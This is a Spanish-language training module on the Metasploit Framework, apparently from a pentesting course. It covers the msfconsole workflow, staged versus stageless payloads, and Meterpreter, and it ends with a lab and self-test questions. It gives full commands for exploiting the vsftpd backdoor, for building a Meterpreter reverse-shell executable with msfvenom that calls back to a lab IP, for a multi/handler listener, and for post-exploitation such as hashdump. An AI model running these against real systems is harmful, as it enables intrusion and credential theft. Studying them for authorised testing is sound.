Metasploit Framework
Metasploit es la navaja suiza de la explotación: un marco que reúne miles de exploits, cargas (payloads) y módulos auxiliares y de post-explotación bajo una interfaz común. No sustituye a entender lo que hace (por eso va después de aprender a buscar y adaptar exploits a mano), pero cuando dominas el flujo, convierte en minutos lo que a mano llevaría horas.
- Conocer la arquitectura de Metasploit: exploits, payloads, encoders, módulos auxiliares y post.
- Dominar el flujo de
msfconsole: search → use → options → set → exploit. - Diferenciar tipos de payload (staged vs stageless, bind vs reverse) y elegir el correcto.
- Generar artefactos con
msfvenomy recibir shells conmulti/handler. - Usar Meterpreter y los módulos de post-explotación.
1. Qué es y cómo se instala
Metasploit Framework es de código abierto y viene en Kali (si no, se instala con sudo apt install metasploit-framework). Sus piezas:
| Componente | Qué es |
|---|---|
msfconsole | La consola interactiva principal. |
msfvenom | Generador de payloads y artefactos (independiente de la consola). |
| Base de datos | PostgreSQL (msfdb init) para guardar hosts, servicios y hallazgos. |
Y los tipos de módulo, que conviene tener claros:
| Módulo | Para qué |
|---|---|
| exploit | Aprovecha una vulnerabilidad concreta. |
| payload | El código que se ejecuta si el exploit tiene éxito (shell, Meterpreter). |
| auxiliary | Escáneres, fuzzers, fuerza bruta... todo lo que no es "exploit". |
| post | Post-explotación: se ejecuta sobre una sesión ya conseguida. |
| encoder | Codifica payloads (históricamente para evasión; hoy poco eficaz por sí solo). |
2. El flujo de trabajo, paso a paso
La secuencia canónica dentro de msfconsole es casi siempre la misma:
$ msf6 > search vsftpd # 1. encontrar el modulo
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor # 2. seleccionarlo
msf6 > show options # 3. ver que hay que rellenar
msf6 > set RHOSTS 10.10.0.50 # 4. configurar el objetivo
msf6 > exploit # 5. lanzar (alias: run)Comandos de apoyo que se usan constantemente: info (detalles y requisitos del módulo), show payloads (payloads compatibles con ese exploit), check (comprobar si el objetivo es vulnerable sin explotar), y back (salir del módulo actual).
3. Payloads: elegir el correcto
El payload es lo que corre en el objetivo tras el exploit. Elegirlo mal es la causa nº 1 de "el exploit funciona pero no consigo shell". Tres ejes que hay que entender:
- Plataforma y arquitectura: el payload debe coincidir con el objetivo:
windows/x64/...,linux/x86/.... Uno de Windows no corre en Linux. - Reverse vs bind: un reverse hace que el objetivo conecte hacia ti (mejor contra cortafuegos de entrada, es lo habitual); un bind abre un puerto en el objetivo al que tú conectas (sirve cuando no puedes recibir conexiones).
- Staged vs stageless: un staged (
.../meterpreter/reverse_tcp, con barras) envía un pequeño cargador que luego descarga el resto; un stageless (..._meterpreter_reverse_tcp, con guiones bajos) lleva todo en un solo bloque, más grande pero más fiable en redes inestables. El detalle de las barras vs guiones bajos es fácil de pasar por alto y cambia el comportamiento.
La joya de la corona es Meterpreter: un payload avanzado que corre en memoria y ofrece un intérprete con decenas de comandos (subir/bajar ficheros, capturar pantalla, volcar hashes, pivotar, migrar de proceso) sin tocar el disco.
4. msfvenom: fabricar artefactos
No siempre explotas un servicio: a veces necesitas entregar un fichero malicioso (un .exe, un .apk, una macro, un script). msfvenom genera ese artefacto con el payload dentro, en el formato que pidas:
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f exe -o shell.exeDesglose: -p el payload, LHOST/LPORT a dónde debe conectar de vuelta, -f el formato de salida (exe, elf, raw, python...), -o el fichero. Con -e y -i se aplican encoders e iteraciones (evasión limitada), y con -b se excluyen bad characters (enlaza con el módulo 10).
5. Recibir la conexión: multi/handler
Si generas un payload reverse con msfvenom y lo entregas por tu cuenta, necesitas algo que escuche la conexión de vuelta. Ese es exploit/multi/handler: un receptor genérico que configuras con el mismo payload, LHOST y LPORT que usaste en msfvenom.
$ msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.7
msf6 > set LPORT 4444
msf6 > exploit -j # -j: en segundo plano (job)El error clásico: que el payload del handler no coincida exactamente con el del artefacto. Si uno es staged y el otro stageless, la sesión no se establece.
6. Sesiones y Meterpreter
Cada shell conseguida es una sesión. Se gestionan con sessions -l (listar), sessions -i N (interactuar con la N) y, dentro de Meterpreter, background para dejarla en segundo plano y volver a la consola. Comandos de Meterpreter que se usan a diario:
| Comando | Qué hace |
|---|---|
sysinfo | Información del sistema comprometido |
getuid | Con qué usuario corres |
hashdump | Vuelca los hashes de contraseñas locales (Windows) |
upload / download | Transferir ficheros |
migrate | Moverse a otro proceso (persistencia/estabilidad) |
shell | Caer a una shell del sistema |
7. Post-explotación
Los módulos post se ejecutan sobre una sesión existente para exprimirla. Uno imprescindible es el sugeridor de exploits locales, que cruza la información del sistema con los exploits de escalada disponibles:
$ msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > runOtros: recolección de credenciales, enumeración del dominio, y el pivoting con route/autoroute, que integra el módulo 15 dentro de Metasploit (encaminar tráfico hacia redes internas a través de la sesión).
8. Metasploit no te exime de entender
Una advertencia profesional: Metasploit hace fácil lanzar exploits, y eso es una trampa. Un exploit puede tumbar el servicio objetivo; algunos son inestables. Antes de exploit, usa check cuando exista, lee el info del módulo, y ten claro qué hace. En un examen como el OSCP, además, el uso de Metasploit está limitado (solo una máquina), precisamente para obligarte a saber explotar a mano. Metasploit es un acelerador, no un sustituto del criterio.
- Metasploit Unleashed (OffSec): el curso gratuito de referencia del framework.
- Practica en vivo: instala
metasploit-frameworky ataca una VM de Metasploitable 2/3 o VulnHub. - Las guías de Metasploit de Ghost Academy (ver "Herramientas relacionadas").
Guías y laboratorios ya publicados en Ghost Academy sobre las herramientas de este módulo:
Descomprime, lee el LEEME.md y lanza startlab.sh. Es un campo de identificación: 8 escenarios donde reconoces el módulo o comando correcto del flujo (search, use, options, set, payload, msfvenom, multi/handler, meterpreter, post). Verifícalos en http://localhost:9393.
Para practicarlo en vivo: instala metasploit-framework y úsalo contra una VM de Metasploitable, siguiendo el writeup.
¿Atascado o ya terminado? La solución paso a paso muestra cada respuesta y el flujo real completo. Úsala cuando lo hayas intentado.
Autoevaluación
- ¿Qué diferencia hay entre un módulo
exploit, unoauxiliaryy unopost? - Explica reverse vs bind y cuándo usarías cada uno.
- ¿Qué distingue un payload staged de uno stageless, y cómo se ven en el nombre?
- Generas un .exe con msfvenom. ¿Qué necesitas configurar en el
multi/handlerpara recibir la sesión? - ¿Por qué no debe coincidir "a medias" el payload del artefacto y el del handler?
- ¿Qué hace
local_exploit_suggestery sobre qué se ejecuta? - ¿Por qué conviene usar
checkeinfoantes deexploit?